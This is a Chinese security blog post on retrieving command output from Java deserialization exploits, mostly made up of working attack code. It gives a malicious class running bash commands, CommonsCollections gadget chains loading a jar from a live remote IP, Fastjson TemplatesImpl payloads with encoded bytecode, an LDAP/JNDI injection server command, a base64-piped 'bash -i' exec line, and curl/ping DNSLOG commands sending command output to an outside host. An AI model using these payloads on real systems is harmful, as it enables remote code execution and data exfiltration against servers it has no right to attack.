Diggid's Blog

Java 反序列化回显姿势(缺Tomcat)

字数统计: 3.3k阅读时长: 16 min
2021/07/20 Share

前言

最近学了很多的内存马以及跟了java的一些中间件反序列化漏洞,不得不扯到的问题就是漏洞回显和内存马利用问题,师傅们也写了很多关于漏洞回显的文章,这里学习一波

为什么需要回显

这个点需要积累才能回答2333…

埋个坑:)

利用URLClassLoader抛异常回显

基本原理

通过将回显结果封装到异常信息抛出获得回显。

image-20210723102241989

具体步骤如下:

  1. 写一个执行命令的恶意类(如果是jndi注入的恶意类则需要实现ObjectFactory),回显结果通过throw new Exception(xxx);抛出
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.InputStreamReader;

public class EvilUrl {
public EvilUrl(String cmd) throws Exception{
Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd});
BufferedInputStream bis = new BufferedInputStream(p.getInputStream());
BufferedReader br = new BufferedReader(new InputStreamReader(bis));
String line;
String res = "";
while ((line = br.readLine()) != null) {
res += line + '\n';
}
bis.close();
br.close();
throw new Exception(res);
}
}
  1. 将恶意类打包成jar。这里尽量把jar包放在远程VPS上测试,防止类加载的一些意外。
1
2
javac EvilUrl.java 
jar -cvf e.jar EvilUrl.class
  1. 使用URLClassLoader加载jar,恢复对象时抛出回显结果。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import java.lang.reflect.Constructor;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;

public class UrlError {
public static void main(String[] args) throws Exception {
URL url = new URL("http://101.132.159.30:7777/e.jar");
URL[] urls = {url};
URLClassLoader urlClassLoader = URLClassLoader.newInstance(urls);
Constructor<?> p = urlClassLoader.loadClass("EvilUrl").getConstructor(String.class);
p.newInstance("ifconfig");
}
}
// URLClassLoader.getDeclaredConstructor.newInstance({new URL("http://101.132.159.30:7777/e.jar")}).loadClass("EvilUrl").getConstructor(String.class).newInstance("ifconfig")

image-20210723100532250

封装在反序列化链子中

上面的URLClassLoader抛出异常的过程无法直接利用,可以封装在其他的反序列化Gadgets当中来调用。这里以CC6(InvokerTransformer)为例封装一下链子,其他以InvokerTransformer作为Sink的CC链修改方法差不多,只需要修改transformers就可以了,其他保持不变。而以TemplatesImpl为Sink的CC链不太好改,因为恶意代码是写在TemplatesImpl的构造里面的,如果要集成到yso中则需要自己实现createTemplatesImpl的逻辑。

CC5URLClassLoaderEcho

  • 集成在ysoserial中(实际不会用,只是为了汇总)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
package ysoserial.payloads;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import java.net.*;
import javax.management.BadAttributeValueExpException;
import java.util.*;

@Authors({ Authors.Diggid })
public class CC5URLClassLoaderEcho extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> {
@Override
public BadAttributeValueExpException getObject(String command) throws Exception {
final String[] execArgs = new String[] { command };
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(URLClassLoader.class),
new InvokerTransformer("getDeclaredConstructor",
new Class[] { Class[].class },
new Object[] {new Class[]{URL[].class}}),
new InvokerTransformer("newInstance",
new Class[] {Object[].class },
new Object[] {new Object[]{new URL[]{new URL("http://101.132.159.30:7777/e.jar")}}}),
new InvokerTransformer("loadClass",
new Class[] { String.class },
new Object[] {"EvilUrl"}),
new InvokerTransformer("getDeclaredConstructor",
new Class[] {Class[].class},
new Object[]{new Class[]{String.class}}),
new InvokerTransformer("newInstance",
new Class[] {Object[].class},
new Object[]{new Object[]{"ifconfig"}}),
new ConstantTransformer(1) };

final Map innerMap = new HashMap();

final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Reflections.setFieldValue(val, "val", entry);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return val;
}

public static void main(String[] args) throws Exception{
PayloadRunner.run(CC5URLClassLoaderEcho.class, args);
}
public static boolean isApplicableJavaVersion() {
return JavaVersion.isBadAttrValExcReadObj();
}
}
  • 无其他依赖的(在JNDI注入中用的)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import javax.naming.*;
import javax.naming.spi.ObjectFactory;
import java.io.*;
import java.lang.reflect.Field;
import java.net.*;
import java.util.*;

public class CC5URLClassLoaderEcho implements ObjectFactory {

@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
final String[] execArgs = new String[] { "ifconfig" };
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(URLClassLoader.class),
new InvokerTransformer("getDeclaredConstructor",
new Class[] { Class[].class },
new Object[] {new Class[]{URL[].class}}),
new InvokerTransformer("newInstance",
new Class[] {Object[].class },
new Object[] {new Object[]{new URL[]{new URL("http://101.132.159.30:7777/e.jar")}}}),
new InvokerTransformer("loadClass",
new Class[] { String.class },
new Object[] {"EvilUrl"}),
new InvokerTransformer("getDeclaredConstructor",
new Class[] {Class[].class},
new Object[]{new Class[]{String.class}}),
new InvokerTransformer("newInstance",
new Class[] {Object[].class},
new Object[]{execArgs}),
new ConstantTransformer(1) };

final Map innerMap = new HashMap();

final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

BadAttributeValueExpException val = new BadAttributeValueExpException(null);
setFieldValue(val, "val", entry);
setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(val);
ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bis);
ois.readObject();
return null;
}

public static void setFieldValue(Object obj, String fieldName, Object val) throws Exception{
Field f = obj.getClass().getDeclaredField(fieldName);
f.setAccessible(true);
f.set(obj, val);
}

public static void main(String[] args) {
}
}

CC36URLClassLoaderEcho

CC3后半部分 + CC6前半部 = CC36,可以绕过CC3的JDK8u71的限制。

  • CC36URLClassLoaderEcho.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
package ysoserial.payloads;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.util.*;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.net.*;
import java.util.*;

public class CC36URLClassLoaderEcho extends PayloadRunner implements ObjectPayload<Serializable> {

// 获取字节码的byte[]数组
protected static byte[] getBytescode() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(evilclass.UrlErrorTemplate.class.getName());
return clazz.toBytecode();
}

@Override
public Serializable getObject(String command) throws Exception {

TemplatesImpl ti = new TemplatesImpl();
Reflections.setFieldValue(ti, "_bytecodes", new byte[][]{getBytescode()});
// 进入 defineTransletClasses() 方法需要的条件
Reflections.setFieldValue(ti, "_name", "name");
Transformer[] fakeChain = new Transformer[]{new ConstantTransformer(1)};
Transformer[] realChain = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{ti})
};
Transformer chain = new ChainedTransformer(fakeChain);
Map innermap = new HashMap();
// 触发map
Map outermap = LazyMap.decorate(innermap, chain);
// TiedMap
TiedMapEntry tme = new TiedMapEntry(outermap, "mykey");
// 创建一个HashMap
HashMap hm = new HashMap();
hm.put(tme, 123);
// 注意这里,要删去LazyMap的"keyekey"
outermap.remove("mykey");
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(chain, realChain);
return hm;
}

public static void main(String[] args) throws Exception {
PayloadRunner.run(CC36URLClassLoaderEcho.class, args);
}
}
  • 恶意类:UrlErrorTemplate.java

具体的恶意类根据不同的要求编写,比如JNDI注入就需要继承ObjectFactory

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package evilclass;

import java.lang.reflect.Constructor;
import java.net.*;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class UrlErrorTemplate extends AbstractTranslet{
public UrlErrorTemplate() throws Exception {
URL url = new URL("http://101.132.159.30:7777/e.jar");
URL[] urls = {url};
URLClassLoader urlClassLoader = URLClassLoader.newInstance(urls);
Constructor<?> p = urlClassLoader.loadClass("EvilUrl").getConstructor(String.class);
p.newInstance("ifconfig");
}

public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { }
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { }
}

Fastjson回显

这里构设一个漏洞的场景

  • 一个Servlet,有Fastjson 1.2.25的反序列化漏洞(开启autotype)
  • 有Commons-Collections3.1的依赖

简单写一个Servlet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package com.urlclassloader.FastjsonVul;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;

import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStreamReader;
import java.nio.charset.StandardCharsets;

public class FastjsonServlet extends HttpServlet {
public void doPost(HttpServletRequest req, HttpServletResponse res) throws IOException {
String result = req.getParameter("code");
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
Object obj = JSON.parseObject(result, Object.class, Feature.SupportNonPublicField);
}
}

JdbcRowSetImpl + CC5URLClassLoaderEcho

测试了JdbcRowSetImpl的Fastjson链子 + CC5URLClassLoaderEcho的异常回显方式。未能成功,原因在下面有解释,这里记录一下过程

  1. 准备好恶意类打包成e.jar(CC链远程加载的执行命令的恶意类),以及回显类CC5URLClassLoaderEcho.class(JNDI注入远程加载的用于回显的恶意类,在CC5链执行的过程中会远程获取e.jar),传到VPS的/tmp目录下
  2. VPS上用marshalsec起一个恶意的LDAP服务
1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://101.132.159.30:7777/\#CC5URLClassLoaderEcho 1389
  1. /tmp目录下起一个web服务
1
python3 -m http.server 7777
  1. Fastjson - JdbcRowSetImpl的payload打出去
1
2
POST:
code={"rand1":{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://localhost:1389/CC5URLClassLoaderEcho","autoCommit":true}}

先JNDI注入远程获取CC5URLClassLoaderEcho.class -> CC5URLClassLoaderEcho执行,获取e.jar来回显

TemplateImpl

这个链子可以完美的回显,因为异常链传递下来了。这里就不用CC链封装了,直接用恶意类去打即可。过程如下

  1. 准备TemplateImpl的恶意类,并将恶意类的class文件base64编码(因此Fastjson在处理TemplateImpl的_bytecodes时会base64解码)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// 恶意类:UrlErrorTemplate.java

import java.lang.reflect.Constructor;
import java.net.*;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class UrlErrorTemplate extends AbstractTranslet{
public UrlErrorTemplate() throws Exception {
URL url = new URL("http://101.132.159.30:7777/e.jar");
URL[] urls = {url};
URLClassLoader urlClassLoader = URLClassLoader.newInstance(urls);
Constructor<?> p = urlClassLoader.loadClass("EvilUrl").getConstructor(String.class);
p.newInstance("ifconfig");
}

public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { }
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { }

}

// base64编码:ClassBase64Encode.java
import java.util.Arrays;
import java.util.Base64;
import javassist.*;
public class ClassBase64Encode {
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass cls = pool.get(UrlErrorTemplate.class.getName());
byte[] bytes = cls.toBytecode();
String enc = Base64.getEncoder().encodeToString(bytes);
System.out.println(enc);
}
}
  1. VPS上在e.jar所在目录下起服务
1
python3 -m http.server 7777
  1. 准备TemplateImpl链的payload如下
1
2
3
4
5
6
7
8
9
{
"rand1": {
"@type": "Lcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;",
"_bytecodes": ["yv66vgAAADQATgoADwAxBwAyCAAzCgACADQKADUANggANwoANQA4BwA5BwA6CgAIADsHADwIAD0KAD4APwcAQAcAQQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQASTFVybEVycm9yVGVtcGxhdGU7AQADdXJsAQAOTGphdmEvbmV0L1VSTDsBAAR1cmxzAQAPW0xqYXZhL25ldC9VUkw7AQAOdXJsQ2xhc3NMb2FkZXIBABlMamF2YS9uZXQvVVJMQ2xhc3NMb2FkZXI7AQABcAEAH0xqYXZhL2xhbmcvcmVmbGVjdC9Db25zdHJ1Y3RvcjsBABZMb2NhbFZhcmlhYmxlVHlwZVRhYmxlAQAiTGphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yPCo+OwEACkV4Y2VwdGlvbnMHAEIBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwBDAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAVVXJsRXJyb3JUZW1wbGF0ZS5qYXZhDAAQABEBAAxqYXZhL25ldC9VUkwBACBodHRwOi8vMTAxLjEzMi4xNTkuMzA6Nzc3Ny9lLmphcgwAEABEBwBFDABGAEcBAAdFdmlsVXJsDABIAEkBAA9qYXZhL2xhbmcvQ2xhc3MBABBqYXZhL2xhbmcvU3RyaW5nDABKAEsBABBqYXZhL2xhbmcvT2JqZWN0AQAIaWZjb25maWcHAEwMAEYATQEAEFVybEVycm9yVGVtcGxhdGUBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAF2phdmEvbmV0L1VSTENsYXNzTG9hZGVyAQALbmV3SW5zdGFuY2UBACooW0xqYXZhL25ldC9VUkw7KUxqYXZhL25ldC9VUkxDbGFzc0xvYWRlcjsBAAlsb2FkQ2xhc3MBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAOZ2V0Q29uc3RydWN0b3IBADMoW0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9Db25zdHJ1Y3RvcjsBAB1qYXZhL2xhbmcvcmVmbGVjdC9Db25zdHJ1Y3RvcgEAJyhbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwAhAA4ADwAAAAAAAwABABAAEQACABIAAAC8AAUABQAAAEAqtwABuwACWRIDtwAETAS9AAJZAytTTSy4AAVOLRIGtgAHBL0ACFkDEglTtgAKOgQZBAS9AAtZAxIMU7YADVexAAAAAwATAAAAHgAHAAAACgAEAAsADgAMABcADQAcAA4AMAAPAD8AEAAUAAAANAAFAAAAQAAVABYAAAAOADIAFwAYAAEAFwApABkAGgACABwAJAAbABwAAwAwABAAHQAeAAQAHwAAAAwAAQAwABAAHQAgAAQAIQAAAAQAAQAiAAEAIwAkAAIAEgAAAD8AAAADAAAAAbEAAAACABMAAAAGAAEAAAASABQAAAAgAAMAAAABABUAFgAAAAAAAQAlACYAAQAAAAEAJwAoAAIAIQAAAAQAAQApAAEAIwAqAAIAEgAAAEkAAAAEAAAAAbEAAAACABMAAAAGAAEAAAATABQAAAAqAAQAAAABABUAFgAAAAAAAQAlACYAAQAAAAEAKwAsAAIAAAABAC0ALgADACEAAAAEAAEAKQABAC8AAAACADA="],
"_name": "UrlErrorTemplate",
"_tfactory": {},
"_outputProperties": {}
}
}
  1. 打一发出去
1
2
POST:
code=url编码的payload

得到回显

image-20210726154926079

局限性 & 无法获取异常信息

  1. 比较复杂,需要外连获取恶意类包
  2. 具体代码中异常链的处理可能导致命令回显的异常无法抛出或被新异常覆盖(即往上级回溯的catch块中可能new了一个新异常,原先的异常信息不被保留)。

比如在测试Fastjson + CC5漏洞场景时,使用JdbcRowSetImpl的Fastjson链子 + CC5URLClassLoaderEcho的异常回显方式,CC链部分的异常信息是能够保留且正常传递到上级(外层)的异常处理程序(try-catch),因为CC链抛出的异常在InvokeTransformer#transform中以InvocationTargetException异常被捕获,其中var7就是带有命令回显异常信息的异常链

image-20210726134651540

而此处抛出的新异常new FunctorException,传入了var7,跟进看一下,给FunctorException设置了this.rootCause来保存之前的异常链信息。所以之前恶意类执行命令后抛出的异常才能够回显打印出来(这一点在之前测试CC5URLClassLoaderEcho也可以看出)

image-20210726134829576

而到了JdbcRowSetImpl#connecttry-catch异常处理时,CC链部分传递过来异常链在这里断掉了,因为重新new SQLException,而var3(也就是上一个异常FunctorException)并没有作为参数传入SQLException的构造函数,也就是说新异常SQLException并没有在其成员变量中(如前面的rootCause)保存之前的异常链,所以最后就没办法打印出想要的异常信息了。

image-20210726122945996

image-20210726123110023

所以最后打印的结果也和分析的一样,没有打印CC链之前的异常cause,而是从SQLException的异常cause信息”JdbcRowSet(连接)JNDI 无法链接”开始打印。因此异常回显只要是配合JdbcRowSetImpl这条Gadgets就无法成功

image-20210726135558977

写文件回显

基本原理

  1. 知道web应用可写目录的绝对路径,那么直接写即可
1
cd <PATH> && echo `id` > 1.txt
  1. 只知道web应用可写目录的其他上级目录,且知道可写目录里的一个文件名。

或者可以使用../进行探测,但是成功率不比知道web应用可写目录的其他上级目录高。

1
cd $(find <UP_PATH> -name "index.jsp" -type f -exec dirname {} \; | sed 1q) && echo `id` > 1.txt

关键还是要熟悉各种中间件、应用的目录结构

Fastjson回显

还是以上面fastjson的场景为例,只知道web应用的可写目录存放在/Users/a861881/code/java/FastjsonVul/目录下,但不知道具体位置,并且可写目录中有index.jsp(该场景下的可写目录其实就是war包部署的根目录,即/Users/a861881/code/java/FastjsonVul/target/FastjsonVul-1.0-SNAPSHOT)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 命令
cd $(find /Users/a861881/code/java/FastjsonVul/ -name "index.jsp" -type f -exec dirname {} \; | sed 1q) && echo `id` > 2.txt

// base64一下写到java代码中
Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "{echo,Y2QgJChmaW5kIC9Vc2Vycy9hODYxODgxL2NvZGUvamF2YS9GYXN0anNvblZ1bC8gLW5hbWUgImluZGV4LmpzcCIgLXR5cGUgZiAtZXhlYyBkaXJuYW1lIHt9IFw7IHwgc2VkIDFxKSAmJiBlY2hvIGBpZGAgPiAyLnR4dA==}|{base64,-d}|{bash,-i}"});

// TemplatesImpl的payload
{
"rand1": {
"@type": "Lcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;",
"_bytecodes": ["yv66vgAAADQAMgoACQAhCgAiACMHACQIACUIACYIACcKACIAKAcAKQcAKgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAMTEV2aWxPYmplY3Q7AQAKRXhjZXB0aW9ucwcAKwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHACwBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAA9FdmlsT2JqZWN0LmphdmEMAAoACwcALQwALgAvAQAQamF2YS9sYW5nL1N0cmluZwEACS9iaW4vYmFzaAEAAi1jAQDFe2VjaG8sWTJRZ0pDaG1hVzVrSUM5VmMyVnljeTloT0RZeE9EZ3hMMk52WkdVdmFtRjJZUzlHWVhOMGFuTnZibFoxYkM4Z0xXNWhiV1VnSW1sdVpHVjRMbXB6Y0NJZ0xYUjVjR1VnWmlBdFpYaGxZeUJrYVhKdVlXMWxJSHQ5SUZ3N0lId2djMlZrSURGeEtTQW1KaUJsWTJodklHQnBaR0FnUGlBeUxuUjRkQT09fXx7YmFzZTY0LC1kfXx7YmFzaCwtaX0MADAAMQEACkV2aWxPYmplY3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEACAAJAAAAAAADAAEACgALAAIADAAAAFEABQABAAAAHyq3AAG4AAIGvQADWQMSBFNZBBIFU1kFEgZTtgAHV7EAAAACAA0AAAAOAAMAAAAKAAQACwAeAAwADgAAAAwAAQAAAB8ADwAQAAAAEQAAAAQAAQASAAEAEwAUAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAAOAA4AAAAgAAMAAAABAA8AEAAAAAAAAQAVABYAAQAAAAEAFwAYAAIAEQAAAAQAAQAZAAEAEwAaAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAAPAA4AAAAqAAQAAAABAA8AEAAAAAAAAQAVABYAAQAAAAEAGwAcAAIAAAABAB0AHgADABEAAAAEAAEAGQABAB8AAAACACA="],
"_name": "UrlErrorTemplate",
"_tfactory": {},
"_outputProperties": {}
}
}

成功写入文件

image-20210726171317144

DNSLOG

  • 命令结果base64编码
  • 两种执行方式:
1
2
3
4
5
http(有长度限制,读flag够用):
curl xxx.ceye.io/`id|base64 -w0`

dns(域名格式有限制,base64有等号就不行):
ping `whoami`.xxx.ceye.io

参考

https://xz.aliyun.com/t/7740

https://www.cnblogs.com/afanti/p/8047530.html

CATALOG
  1. 1. 前言
  2. 2. 为什么需要回显
  3. 3. 利用URLClassLoader抛异常回显
    1. 3.1. 基本原理
    2. 3.2. 封装在反序列化链子中
      1. 3.2.1. CC5URLClassLoaderEcho
      2. 3.2.2. CC36URLClassLoaderEcho
    3. 3.3. Fastjson回显
      1. 3.3.1. JdbcRowSetImpl + CC5URLClassLoaderEcho
      2. 3.3.2. TemplateImpl
    4. 3.4. 局限性 & 无法获取异常信息
  4. 4. 写文件回显
    1. 4.1. 基本原理
    2. 4.2. Fastjson回显
  5. 5. DNSLOG
  6. 6. 参考